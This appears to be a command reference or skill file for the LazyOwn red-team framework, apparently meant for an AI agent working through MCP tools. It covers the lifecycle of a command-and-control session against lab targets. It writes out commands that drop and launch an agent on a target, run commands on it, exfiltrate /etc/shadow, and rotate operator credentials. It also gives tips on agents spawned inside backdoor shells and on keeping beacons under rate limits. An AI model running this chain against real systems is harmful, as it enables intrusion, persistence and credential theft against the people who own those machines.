grisuno/lazyown/c2-session

/c2-session

Run live operations through a malleable C2 session on lab targets. Everything here is non-interactive and loop-routable except the final attach step, which is foreground-terminal only by design.

Lifecycle (in order)

c2_server start                  # headless lazyc2; idempotent, keeps creds
c2_deploy 172.17.0.2             # drop + launch agent via shell primitive
c2_exec msf-172-17-0-2 id        # issue command, wait, print answer
c2_loot 172.17.0.2 /etc/shadow   # exfiltrate to sessions/loot/ + manifest
c2_reboot                        # stop, rotate operator creds, fresh boot
c2_server stop                   # stop the headless server

c2_server start never rotates credentials (live agents stay valid). c2_reboot always rotates them and re-syncs every store.

Credentials (single source of truth)

• The RUNNING server's login lives in .c2_credentials.txt — rewritten

on every managed boot. If login fails, compare it against c2_server status (live_user): different values mean the server was started outside the manager with other creds.

• Lab machine state (user, password, ports, AES snapshot) lives in

sessions/c2_lab.json, never in payload.json.

• The shell adopts the file creds at startup. c2_exec/c2_loot read

lab auth directly, independent of shell auth state.

AES key discipline

The key is owned by the server (sessions/key.aes while running) and snapshotted to sessions/c2_lab.json on boot. Tooling NEVER generates keys: a rotated key bricks every deployed agent (garbage commands in, HTTP 500 out). After any C2 restart, redeploy agents. Never delete key files under a live server.

Agent constraints (vintage targets)

• The gym runs Python 2.5 with no ssl module: the agent speaks plain

HTTP (lab listener, e.g. :8080) and does AES via the openssl CLI.

• Forbidden in agent code: timeout= kwargs, except...as,

import json, os.closerange (2.6+). Close fds 3..255 manually.

• Agents born in backdoor shells MUST drop inherited fds at startup

(close 3..255, stdin from /dev/null) or they inherit the backdoor LISTEN socket and wedge the target port permanently.

• Single-shot backdoors serve effectively one shell per trigger: one

trigger, one persistent multiplexed session, clean exit on close. Never stack connections; never abandon sessions.

Reading answers

Command outputs land in sessions/<client_id>.records.jsonl (one JSON per line: command, output, user, hostname). wait_record polls it. Loot lands in sessions/uploads/ then staged to sessions/loot/<name>_<client>.txt + manifest.jsonl.

Rate limits

Beacon poll/result routes are limiter-exempt (AES already authenticates); the global 200/hour limit would otherwise 429 agents. Poll at 25s+ regardless, with backoff on failures. The generic error handler no longer masks HTTP codes as 500s.

MCP equivalents

lazyown_apt_chain (full chain), lazyown_atomic_shell (verify-only, never interactive), lazyown_atomic_clean (soft default; hard needs confirm=true). The opencode bridge exposes them as apt_chain, atomic_shell, atomic_clean.